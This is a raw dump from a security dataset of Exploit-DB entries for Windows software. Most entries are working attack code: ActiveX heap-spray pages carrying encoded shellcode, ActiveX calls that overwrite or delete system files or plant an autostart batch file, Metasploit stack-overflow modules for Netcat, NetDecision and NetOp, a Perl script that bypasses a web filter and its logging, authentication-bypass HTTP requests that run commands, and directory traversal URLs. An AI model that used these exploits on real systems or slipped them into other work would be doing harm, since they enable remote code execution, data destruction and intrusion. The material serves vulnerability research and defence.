deardaniel/secdata-raw huggingface dataset:
Exploit-DB #4109
Description: NCTAudioStudio2 - ActiveX DLL 2.6.1.148 'CreateFile()'/ Insecure Method
Type: remote
Platform: windows
Date: 2007-06-26
Author: shinnai

Exploit:
<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">--------------------------------------------------------------------------------------------------
 <b>NCTAudioStudio2 ActiveX DLL (NCTWavChunksEditor2.dll v. 2.6.1.148) "CreateFile()"Insecure Method</b>
 url: http://www.nctsoft.com/products/NCTAudioEditor2/

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not be responsible for any damage.
 
 <b><font color="#FF0000">THE EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY OF
 IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!</font></b>

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx (for example Sienzo DMM) are vulnerable to this exploits.
--------------------------------------------------------------------------------------------------

<object classid='clsid:A77849B6-6125-4466-88DC-4855C014A0C4' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  On Error Resume Next
   Dim MyMsg
   If(MsgBox("This was written for educational purpose. Use it at your own risk." & vbCrLf & _
             "Author will be not be responsible for any damage." & vbCrLf & vbCrLf & _
             "THIS EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY" & _
             " OF IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!" & VBcRlF & "ARE YOU" & _
             " SURE YOU REALLY WANT TO RUN THIS EXPLOIT?",4)=vbYes) Then
    test.CreateFile "c:\windows\system_.ini"
    MyMsg = MsgBox ("Check now the file system.ini" & vbCrLf & "It's overwritten.", 64,"NCTAudioStudio2")
   Else
    MyMsg = MsgBox ("Nice, be safe!", 64, "NCTAudioStudio2")
   End If 
 End Sub
</script>

</span></span>
</code></pre>

# milw0rm.com [2007-06-26]
Exploit-DB #6175
Description: NCTsoft - 'AudFile.dll' ActiveX Control Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2008-07-31
Author: shinnai

Exploit:
-----------------------------------------------------------------------------
 NCTsoft AudFile.dll ActiveX Control Remote Buffer Overflow
 url: http://www.nctsoft.com 

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://www.shinnai.net

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.
-----------------------------------------------------------------------------
<html>
 <script language="JavaScript" defer>
  var sCode = unescape("%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +
                       "%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +
                       "%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +
                       "%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +
                       "%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +
                       "%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +
                       "%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +
                       "%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +
                       "%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +
                       "%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +
                       "%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +
                       "%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +
                       "%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +
                       "%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +
                       "%u652E%u6578%u9000");
  var sSlide = unescape("%u9090%u9090");
  var heapSA = 0x0c0c0c0c;
  function tryMe()
   {
    var buffSize = 5200;
    var x =  unescape("%0c%0c%0c%0c");
    while (x.length<buffSize) x += x;
    x = x.substring(0,buffSize);
    boom.SetFormatLikeSample (x);
  }
  function getsSlide(sSlide, sSlideSize)
   {
    while (sSlide.length*2<sSlideSize)
     {
      sSlide += sSlide;
     }
    sSlide = sSlide.substring(0,sSlideSize/2);
    return (sSlide);
  }
  var heapBS = 0x400000;
  var sizeHDM = 0x5;
  var PLSize = (sCode.length * 2);
  var sSlideSize = heapBS - (PLSize + sizeHDM);
  var heapBlocks = (heapSA+heapBS)/heapBS;
  var memory = new Array();
  sSlide = getsSlide(sSlide,sSlideSize);
  for (i=0;i<heapBlocks;i++)
   {
    memory[i] = sSlide +  sCode;
   }
 </script>
 <body onload="JavaScript: return tryMe();">
  <object id="boom" classid="clsid:77829F14-D911-40FF-A2F0-D11DB8D6D0BC" codebase="http://shinnai.net/AudFile.dll">
   Unable to create object
  </object>
 </body>
</html>

# milw0rm.com [2008-07-31]
Exploit-DB #4237
Description: Nessus Vulnerability Scanner 3.0.6 - ActiveX Command Execution
Type: remote
Platform: windows
Date: 2007-07-27
Author: h07

Exploit:
<HTML>
<!--
Nessus Vulnerability Scanner 3.0.6 ActiveX 0day Remote Code Execution Exploit
Bug discovered by Krystian Kloskowski (h07) <h07@interia.pl>
Tested on Nessus 3.0.6 / IE 6 / XP SP2 Polish
Just for fun ;]
-->

<object id="obj" classid="clsid:A47D5315-321D-4DEE-9DB3[PII_REDACTED]3B"></object>

<script language="javascript">
obj.addsetConfig('shutdown -t 1000 -s -c "hello world ;]" && pause', '', '');
obj.saveNessusRC("../../../../../../Documents and Settings/All Users/Menu Start/Programy/Autostart/exec.bat");
</script>
</HTML>

# milw0rm.com [2007-07-27]
Exploit-DB #4230
Description: Nessus Vulnerability Scanner 3.0.6 - ActiveX Remote Delete File
Type: remote
Platform: windows
Date: 2007-07-26
Author: h07

Exploit:
<HTML>
<!--
Nessus Vulnerability Scanner 3.0.6 ActiveX deleteReport() 0day Remote Delete File Exploit
Bug discovered by Krystian Kloskowski (h07) <h07@interia.pl>
Tested on Nessus 3.0.6 / IE 6 / XP SP2 Polish
Just for fun ;]
-->

<object id="obj" classid="clsid:A47D5315-321D-4DEE-9DB3[PII_REDACTED]3B"></object>

<script language="javascript">
obj.deleteReport("../../../../../../../test.txt"); //Deleting file: C:\test.txt
alert("done");
</script>
</HTML>

# milw0rm.com [2007-07-26]
Exploit-DB #16436
Description: Netcat 1.10 - NT Stack Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-06-22
Author: Metasploit

Exploit:
##
# $Id: netcat110_nt.rb 9587 2010-06-22 23:57:05Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'		=> 'Netcat v1.10 NT Stack Buffer Overflow',
			'Description'	=> %q{
					This module exploits a stack buffer overflow in Netcat v1.10 NT. By sending
					an overly long string we are able to overwrite SEH. The vulnerability
					exists when netcat is used to bind (-e) an executable to a port in doexec.c.
					This module tested successfully using "c:\>nc -L -p 31337 -e ftp".
				},
			'Author'       => 'patrick',
			'Arch'			=> [ ARCH_X86 ],
			'License'		=> MSF_LICENSE,
			'Version'		=> '$Revision: 9587 $',
			'References'	=>
				[
					[ 'CVE', '2004-1317' ],
					[ 'OSVDB', '12612' ],
					[ 'BID', '12106' ],
					[ 'URL', 'http://www.milw0rm.com/exploits/726' ],
				],
			'Privileged'		=> false,
			'DefaultOptions'	=>
				{
					'EXITFUNC'	=> 'thread',
				},
			'Payload'		=>
				{
					'Space'				=> 236,
					'BadChars'			=> "\x00\x0a\x0d",
					'StackAdjustment'	=> -3500,
				},
			'Platform' => ['win'],
			'Targets'  =>
				[
					# Patrick - Tested OK 2007/09/26 w2ksp0, w2ksp4, xpsp2 en.
					[ 'Universal nc.exe', { 'Ret' => 0x0040a6ce } ], # p/p/r nc.exe
				],
			'DisclosureDate' => 'Dec 27 2004',
			'DefaultTarget' => 0))
	end

	def autofilter
		false
	end

	def exploit
		connect

		sploit = rand_text(277, payload_badchars)
		sploit[0, payload.encoded.length] = payload.encoded
		sploit[236, 2] = Rex::Arch::X86.jmp_short(6)
		sploit[240, 4] = [target['Ret']].pack('V')
		sploit[244, 5] = Rex::Arch::X86.jmp(0xffffff08)

		sock.put(sploit)

		handler
		disconnect
	end
end
Exploit-DB #19617
Description: NetcPlus SmartServer3 3.5.1 - POP Buffer Overflow
Type: remote
Platform: windows
Date: 1999-11-11
Author: Ussr Labs

Exploit:
source: https://www.securityfocus.com/bid/790/info

The POP server that is part of the NetcPlus SmartServer3 email server has an unchecked buffer that could allow an attacker to execute code on the server. If the USER command is followed by an argument of over 800 characters, the input buffer will be overflowed, and data from the argument will be passed to the system to be executed at the privelege level of the SmartServer program. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19617.zip
Exploit-DB #15600
Description: Netcraft Toolbar 1.8.1 - Remote Code Execution
Type: remote
Platform: windows
Date: 2010-11-23
Author: Rew

Exploit:
<!-- 

Title: Netcraft Toolbar 1.8.1 Remote Code Execution Exploit
Date: Nov 23, 2010
Author: Rew
Email: rew [splat] leethax.info 
Link: http://toolbar.netcraft.com/install/Netcraft%20Toolbar.msi
Version: 1.8.1
Tested on: WinXP - IE 6
CVE: NA (0day)

This object is NOT marked safe for scripting so the impact of this issue is small.  You'll have to
enable loading of unsafe ActiveX controls to be able to test it.

There is a classic buffer overflow in "%PROGRAMFILES%\Netcraft Toolbar\retrievepage.dll".
By supplying an overly long string to the MapZone() function we can blah blah blah... this
has been covered 10000000 times.  Our offset is... [75 junk bytes][ebp][eip].  l33th4x iknowright.

NOTE:
This issue appears to get patched silently after the Netcraft Toolbar loads up in IE.  retrievepage.dll
gets replaced however curiously, both the old and new dlls have the SAME version number (1.0.1.0), and
there is no indication an update has occured.  Maybe Netcraft is trying to hide the vulnerability?
I dont know.  The vulnerable dll is 180KB whereas the patched one is 172KB.  Meh, just fyi.  Make sure
it's loading the 180KB one when testing.

much love to irc.rizon.net#beer

PS:
Any Information Security firms looking for a knowledgeable, motivated intern?
I sure would love to talk to you.

-->

<object classid='clsid:73F57628-B458-11D4-9673-00A0D212FC63' id='target' /></object>

<script>

// runs calc.exe
var shellcode = unescape(
	'%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
	'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
	'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
	'%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
	'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
	'%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
	'%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
	'%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e'
);
                
var nops = unescape('%u9090%u9090');
var headersize = 20;
var slackspace = headersize + shellcode.length;

while(nops.length < slackspace) {
	nops += nops;
}

var fillblock = nops.substring(0, slackspace);
var block = nops.substring(0, nops.length - slackspace);

while((block.length + slackspace) < 0x50000) {
	block = block + block + fillblock;
}

// Do a little dance...
memory=new Array();
for(counter=0; counter<200; counter++){
	memory[counter] = block + shellcode;
}   

// Make a little love...
var pwnt = "";
while(pwnt.length <= 83){
	pwnt += "\x0c";
}


// Get down tonight!
document.getElementById('target').MapZone( pwnt ); 

</script>
Exploit-DB #36915
Description: NetDecision 4.6.1 - Multiple Directory Traversal Vulnerabilities
Type: remote
Platform: windows
Date: 2012-03-07
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/52327/info

NetDecision is prone to multiple directory-traversal vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Exploiting the issues can allow an attacker to obtain sensitive information that could aid in further attacks.

NetDecision 4.6.1 is vulnerable; other versions may also be affected. 

http://www.example.com:8087/...\...\...\...\...\...\windows\system.ini
http://www.example.com:8090/.../.../.../.../.../.../windows/system.ini
Exploit-DB #18604
Description: Netmechanica NetDecision HTTP Server 4.5.1 - Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2012-03-15
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info={})
		super(update_info(info,
			'Name'           => "NetDecision 4.5.1 HTTP Server Buffer Overflow",
			'Description'    => %q{
					This module exploits a vulnerability found in NetDecision's HTTP service
				(located in C:\Program Files\NetDecision\Bin\HttpSvr.exe).  By supplying a
				long string of data to the URL, an overflow may occur if the data gets handled
				by HTTP Server's active window.  In other words, in order to gain remote code
				execution, the victim is probably looking at HttpSvr's window.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Prabhu S Angadi',  #Discovery, DoS PoC
					'sinn3r'            #Metasploit
				],
			'References'     =>
				[
					['OSVDB', '79651'],
					['URL', 'http://secunia.com/advisories/48168/'],
					['URL', 'http://secpod.org/advisories/SecPod_Netmechanica_NetDecision_HTTP_Server_DoS_Vuln.txt']
				],
			'Payload'        =>
				{
					'BadChars' => "\x00\x09\x0a\x0d\x20\x25\x26\x27\x3f",
					'StackAdjustment' => -3500,
				},
			'DefaultOptions'  =>
				{
					'ExitFunction' => "seh",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[
						'NetDecision 4.5.1 on XP SP3',
						{
							# POP/POP/RET - OLEACC.dll
							'Ret'    => 0x74C869E2,
							'Offset' => 1620
						}
					],
				],
			'Privileged'     => false,
			'DisclosureDate' => "Feb 24 2012",
			'DefaultTarget'  => 0))
	end

	def check
		res = send_request_cgi({'uri'=>'/'})
		banner = res.headers['Server']
		if banner =~ /NetDecision\-HTTP\-Server\/1\.0/
			return Exploit::CheckCode::Vulnerable
		else
			return Exploit::CheckCode::Safe
		end
	end

	def exploit
		buf = "/"
		buf << rand_text_alpha(675, payload_badchars)
		buf << pattern_create(5) #Avoid TerminateProcess()
		buf << rand_text_alpha(target['Offset']-buf.length, payload_badchars)
		buf << "\xeb\x06" + rand_text_alpha(2, payload_badchars)
		buf << [target.ret].pack('V*')
		buf << payload.encoded
		buf << rand_text_alpha(8000-buf.length, payload_badchars)

		print_status("#{rhost}:#{rport} - Sending #{self.name}...")

		send_request_raw({
			'method' => 'GET',
			'uri'    => buf
		})

		handler
	end
end
Exploit-DB #23503
Description: NETObserve 2.0 - Authentication Bypass
Type: remote
Platform: windows
Date: 2003-12-29
Author: Peter Winter-Smith

Exploit:
source: https://www.securityfocus.com/bid/9319/info

NETObserve is prone to a vulnerability that may permit remote unauthenticated users to access functions of the software. Due to the nature of the software, this could permit an attacker to execute commands remotely on an underlying system running the software. This may also expose privileged information about the system and its users. Successful exploitation will result in remote compromise of the system. 

REQUEST #1:

--------------------------------------------------------------------------
POST /sendeditfile HTTP/1.1
Accept: */*
Referer: http://127.0.0.1/editfile=?C:\WINDOWS\win.bat?
Content-Type: application/x-www-form-urlencoded
Host: AnyHostWillDo
Content-Length: 25
Cookie: login=0

newfiledata=cmd+%2Fc+calc
--------------------------------------------------------------------------

REQUEST #2:

--------------------------------------------------------------------------
GET /runfile=?C:\windows\win.bat? HTTP/1.1
Accept: */*
Host: AnyHostWillDo
Cookie: login=0


--------------------------------------------------------------------------
Exploit-DB #18697
Description: NetOp Remote Control Client 9.5 - Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2012-04-04
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'NetOp Remote Control Client 9.5 Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack-based buffer overflow in NetOp Remote Control 9.5.
				When opening a .dws file containing a specially crafted string longer then 520 
				characters will allow an attacker to execute arbitrary code.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Ruben Alejandro "chap0"',
				],
			'References'     =>
				[
					[ 'OSVDB', '72291' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/17223/' ]
				],
			'DefaultOptions' =>
				{
					'ExitFunction' => 'process',
					'DisablePayloadHandler' => 'true'
				},
			'Platform'       => 'win',
			'Payload'        =>
				{
					'Space' => 2000,
					'BadChars' => "\x00\x0a\x0d",
					'DisableNops' => true,
					'StackAdjustment' => -3500
				},
			'Targets'        =>
				[
					[ 'Windows XP SP3',
						{
							'Ret' => 0x20d6c32c,  # push esp #  ret  - nrp.DLL
							'Offset' => 524
						}
					]
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Apr 28 2011',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [ true, 'The file name.', 'msf.dws']),
			], self.class)

	end

	def exploit
		buffer =  rand_text(target['Offset'])
		buffer << [target.ret].pack('V')
		buffer << make_nops(30)
		buffer << payload.encoded

		file_create(buffer)
	end

end
Exploit-DB #3381
Description: NetProxy 4.03 - Web Filter Evasion / Bypass Logging
Type: remote
Platform: windows
Date: 2007-02-27
Author: Craig Heffner

Exploit:
#!/usr/bin/perl
###########################################################################
#
# Application: 
#
#	 NetProxy 4.03
#	 http://www.grok.co.uk/netproxy/index.html
#
# Description:
#
#	 NetProxy includes a powerful web cache to boost 
#	 performance and reduce online costs. There is 
#	 also an application-level firewall to protect your 
#	 network from unwanted access, full access logging 
#	 to allow you to track Internet usage, and 
#	 password-protected access to various Internet resources.
#
# Vulnerability:
#
#	 Sending a specially crafted request to the proxy server 
#	 allows users to view restricted Web content and bypass
#	 the logging feature.
#
# Exploit:
#
#	 Assume that access to http://www.milw0rm.com has been blocked. 
#	 The standard query string sent to NetProxy looks like:
#
#			GET http://www.milw0rm.com HTTP/1.0
#
#	 NetProxy recognizes that this is a blocked URL and subsequently 
#	 blocks the request. However, sending a request without 'http://' 
#	 in the URL allows access to the blocked URL (note that the port 
#	 must be manually specified as well):
#
#			GET www.milw0rm.com:80 HTTP/1.0
#
#	 In addition, requests made in this manner are not logged to 
# 	 NetProxy's connection log file. 
#
# Work-Around/Fix:
#
#	 Since the application automatically prepends the 'http://' string
#	 to every URL specified in the block list, this technique should work 
#	 for all restricted Web sites, and ensures that there is no easy fix 
#	 for this security hole. POC code follows.
#
# Credit:
#
#	 Exploit discovered and coded by Craig Heffner
#	 http://www.craigheffner.com
#	 heffnercj [at] gmail.com
###########################################################################

use IO::Socket;

#Define the NetProxy server and port
$proxy_ip = "127.0.0.1";
$proxy_port = "8080";

#Set the site, port and page to request
$site = "www.milw0rm.com";
$port = "80";
$page = "index.html";

#Define FF and IE user agent strings
$ms_ie = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)";
$ms_ff = "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1";

#Create connection to NetProxy
my $sock = new IO::Socket::INET(
			Proto => 'tcp',
			PeerAddr => $proxy_ip,
			PeerPort => $proxy_port,
			);
die "Failed to connect to [$proxy_ip:$proxy_port] : $!\n" unless $sock;	

#Format the request
$request = "GET $site:$port/$page HTTP/1.0\r\n";
$request .= "User-Agent: $ms_ff\r\n";
$request .= "\r\n";

#Send the request
print $sock $request;

#Read the reply
while(<$sock>){
	$reply .= $_;
}

close($sock);

#Separate NetProxy header from HTML
($header,$html) = split("\r\n\r",$reply);

print $html;

exit;

# milw0rm.com [2007-02-27]
Exploit-DB #20325
Description: Netscape Directory Server 4.12 - Directory Server Directory Traversal
Type: remote
Platform: windows
Date: 2000-10-25
Author: CORE-SDI

Exploit:
source: https://www.securityfocus.com/bid/1839/info
 
 
Acquiring access to known files outside of the web root is possible through directory traversal techniques in Netscape Directory Server. This is made possible through the use of "\../" in a HTTP request. The following services are affected by this vulnerability:
 
- The Agent services server on port 8100/tcp
- The End Entity services server on port 443/tcp (Accessible through SSL)
- The Administrator services server on a random port configured during installation.
 
https://target/ca/\../\../\../\file.ext
Exploit-DB #20775
Description: Netscape SmartDownload 1.3 - Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2001-04-13
Author: Craig Davison

Exploit:
source: https://www.securityfocus.com/bid/2615/info

Netscape SmartDownload, a download manager add-on for popular web browsers, is vulnerable to a buffer overflow. The library 'sdph20.dll' used by SmartDownload contains an URL parser function that will overflow when a user visits or is redirected to an URL longer than 271 characters.

This overflow, if successfully exploited, allows execution of arbitrary code by an attacker with the privilege level of the currently logged-in user. Under Windows 95/98/Me, this means administrative privileges.

Hosts with SmartDownload installed are vulnerable regardless of whether SmartDownload is enabled. Exploit code is available for this vulnerability. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20775.tar.gz